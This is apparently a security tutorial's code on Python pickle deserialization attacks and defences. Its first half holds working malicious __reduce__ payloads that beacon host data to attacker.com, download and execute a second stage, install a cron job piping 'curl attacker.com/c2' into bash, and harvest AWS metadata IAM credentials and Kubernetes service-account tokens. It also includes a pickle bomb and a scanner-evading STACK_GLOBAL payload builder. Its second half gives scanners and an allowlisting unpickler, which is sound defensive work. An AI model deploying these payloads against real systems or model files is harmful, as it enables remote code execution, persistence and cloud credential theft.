import pickle, pickletools
 
class SimplePayload:
    def __reduce__(self):
        return (eval, ("print('RCE')",))
 
pickletools.dis(pickle.dumps(SimplePayload()))
# Shows STACK_GLOBAL -> REDUCE chain calling eval()

class ChainedPayload:
    def __reduce__(self):
        return (exec, (
            "import os,socket,json,urllib.request\n"
            "recon={'host':socket.gethostname(),'user':os.getenv('USER')}\n"
            "urllib.request.urlopen(urllib.request.Request("
            "'https://attacker.com/beacon',json.dumps(recon).encode()))"
        ,))

class StagerPayload:
    """Minimal first-stage payload that downloads and executes a
    second-stage script from an attacker-controlled server."""
    def __reduce__(self):
        return (exec, (
            "import urllib.request,tempfile,os\n"
            "stage2=urllib.request.urlopen('https://attacker.com/stage2.py').read()\n"
            "f=tempfile.NamedTemporaryFile(suffix='.py',delete=False)\n"
            "f.write(stage2);f.close()\n"
            "exec(open(f.name).read())\n"
            "os.unlink(f.name)"
        ,))
 
class PersistencePayload:
    """Install a cron job or systemd timer for persistent access."""
    def __reduce__(self):
        return (exec, (
            "import os,subprocess\n"
            "cron = '*/5 * * * * curl -s https://attacker.com/c2|bash'\n"
            "subprocess.run(['bash','-c',"
            "f'(crontab -l 2>/dev/null; echo \"{cron}\") | crontab -'],"
            "capture_output=True)"
        ,))

class PolymorphicPayload:
    """Detects the runtime environment and executes the appropriate
    credential harvesting technique."""
    def __reduce__(self):
        return (exec, (
            "import os,json,urllib.request\n"
            "env_info = {'platform': 'unknown'}\n"
            "try:\n"
            "  if 'AWS_EXECUTION_ENV' in os.environ:\n"
            "    env_info['platform'] = 'aws'\n"
            "    r = urllib.request.urlopen(\n"
            "      'http://169.254.169.254/latest/meta-data/iam/security-credentials/')\n"
            "    role = r.read().decode()\n"
            "    creds = json.loads(urllib.request.urlopen(\n"
            "      f'http://169.254.169.254/latest/meta-data/iam/security-credentials/{role}'\n"
            "    ).read())\n"
            "    env_info['creds'] = creds\n"
            "  elif os.path.exists('/var/run/secrets/kubernetes.io'):\n"
            "    env_info['platform'] = 'k8s'\n"
            "    with open('/var/run/secrets/kubernetes.io/serviceaccount/token') as f:\n"
            "      env_info['sa_token'] = f.read()\n"
            "except: pass\n"
            "urllib.request.urlopen(urllib.request.Request(\n"
            "  'https://attacker.com/beacon',\n"
            "  json.dumps(env_info).encode(),\n"
            "  {'Content-Type':'application/json'}))"
        ,))

import pickle
 
def create_pickle_bomb(levels=25):
    """Create a pickle bomb that expands exponentially on deserialization.
    WARNING: Only use in controlled environments with memory limits."""
    # Start with a small byte string
    payload = b'A' * 1024  # 1 KB
    # Each level wraps in a tuple and multiplies
    for _ in range(levels):
        payload = pickle.dumps((payload,) * 2)
    return payload
 
# A 25-level bomb: ~1 KB serialized, ~33 GB deserialized
# bomb = create_pickle_bomb(25)
# print(f"Serialized size: {len(bomb)} bytes")
# print(f"Estimated deserialized size: {2**25 / 1024:.0f} MB")

import struct
 
def craft_stack_global_payload(command: str) -> bytes:
    """Craft a payload using STACK_GLOBAL to evade scanners
    that only check GLOBAL opcodes for dangerous module names."""
    payload = b'\x80\x04'                  # Protocol 4
    # Push module name onto stack via SHORT_BINUNICODE
    module = b'os'
    payload += b'\x8c' + bytes([len(module)]) + module
    # Push attribute name onto stack
    attr = b'system'
    payload += b'\x8c' + bytes([len(attr)]) + attr
    # STACK_GLOBAL reads module+attr from stack (not inline)
    payload += b'\x93'
    # Push the command argument
    cmd = command.encode()
    payload += b'\x8c' + bytes([len(cmd)]) + cmd
    # TUPLE1 + REDUCE + STOP
    payload += b'\x85R.'
    return payload
 
# Scanner that only checks 'c' (GLOBAL) opcode will miss this
# payload = craft_stack_global_payload("id")

import pickletools
 
def scan_pickle(data: bytes) -> dict:
    """Scan pickle bytecode for dangerous operations."""
    DANGEROUS = {'os','subprocess','sys','eval','exec',
                 'builtins','importlib','ctypes','socket','urllib'}
    threats = []
    for opcode, arg, pos in pickletools.genops(data):
        if opcode.name in ('GLOBAL','INST','STACK_GLOBAL'):
            if arg and any(d in str(arg) for d in DANGEROUS):
                threats.append({"opcode": opcode.name, "arg": str(arg), "pos": pos})
        if opcode.name == 'REDUCE':
            threats.append({"opcode": "REDUCE", "pos": pos})
    return {"threats": threats, "verdict": "DANGEROUS" if threats else "LIKELY_SAFE"}

# pip install fickling
from fickling.fickle import Pickled
from fickling.analysis import check_safety
 
def deep_scan_pickle(filepath: str) -> dict:
    """Use Fickling for deep pickle analysis beyond opcode scanning."""
    with open(filepath, 'rb') as f:
        data = f.read()
 
    result = {
        "file": filepath,
        "size": len(data),
        "findings": []
    }
 
    # Check safety (Fickling's built-in analysis)
    safety = check_safety(data)
    result["fickling_verdict"] = str(safety)
 
    # Decompile to see what the pickle actually does
    pickled = Pickled.load(data)
    for i, node in enumerate(pickled):
        # Check for function calls
        if hasattr(node, 'calls'):
            for call in node.calls:
                result["findings"].append({
                    "type": "function_call",
                    "node": i,
                    "call": str(call)
                })
 
    return result

import pickle
import io
 
class SafeUnpickler(pickle.Unpickler):
    """Restrict pickle deserialization to only allowlisted classes.
    This prevents arbitrary code execution by blocking GLOBAL and
    STACK_GLOBAL references to dangerous modules."""
 
    ALLOWED_CLASSES = {
        ('collections', 'OrderedDict'),
        ('numpy', 'ndarray'),
        ('numpy', 'dtype'),
        ('numpy.core.multiarray', '_reconstruct'),
        ('torch', 'FloatStorage'),
        ('torch', 'LongStorage'),
        ('torch', 'IntStorage'),
        ('torch', 'HalfStorage'),
        ('torch._utils', '_rebuild_tensor_v2'),
        ('_codecs', 'encode'),
    }
 
    def find_class(self, module: str, name: str) -> type:
        if (module, name) not in self.ALLOWED_CLASSES:
            raise pickle.UnpicklingError(
                f"Blocked: {module}.{name} not in allowlist"
            )
        return super().find_class(module, name)
 
def safe_load(data: bytes):
    """Load pickle data with class restrictions."""
    return SafeUnpickler(io.BytesIO(data)).load()
 
# Usage:
# model_weights = safe_load(pickle_data)
# Raises UnpicklingError if the pickle tries to call os.system, eval, etc.

import pickletools
import sys
import glob
import json
from pathlib import Path
 
DANGEROUS_MODULES = {
    'os', 'subprocess', 'sys', 'eval', 'exec', 'builtins',
    'importlib', 'ctypes', 'socket', 'urllib', 'http',
    'shutil', 'signal', 'code', 'codeop', 'compile',
    'webbrowser', 'antigravity', 'turtle', 'tkinter'
}
 
def scan_model_directory(model_dir: str) -> dict:
    """Scan all pickle files in a model directory for threats."""
    results = {"scanned": 0, "clean": 0, "dangerous": 0, "details": []}
 
    pickle_extensions = ['*.pkl', '*.pickle', '*.pt', '*.pth', '*.bin',
                         '*.joblib', '*.npy', '*.npz']
 
    for ext in pickle_extensions:
        for filepath in glob.glob(f"{model_dir}/**/{ext}", recursive=True):
            results["scanned"] += 1
            try:
                with open(filepath, 'rb') as f:
                    data = f.read()
                threats = []
                for opcode, arg, pos in pickletools.genops(data):
                    if opcode.name in ('GLOBAL', 'INST', 'STACK_GLOBAL'):
                        module = str(arg).split('.')[0] if arg else ''
                        if module in DANGEROUS_MODULES:
                            threats.append({
                                "opcode": opcode.name,
                                "ref": str(arg),
                                "position": pos
                            })
 
                if threats:
                    results["dangerous"] += 1
                    results["details"].append({
                        "file": filepath,
                        "verdict": "DANGEROUS",
                        "threats": threats
                    })
                else:
                    results["clean"] += 1
            except Exception as e:
                results["details"].append({
                    "file": filepath,
                    "verdict": "ERROR",
                    "error": str(e)
                })
 
    return results
 
if __name__ == '__main__':
    model_dir = sys.argv[1] if len(sys.argv) > 1 else '.'
    results = scan_model_directory(model_dir)
    print(json.dumps(results, indent=2))
    sys.exit(1 if results["dangerous"] > 0 else 0)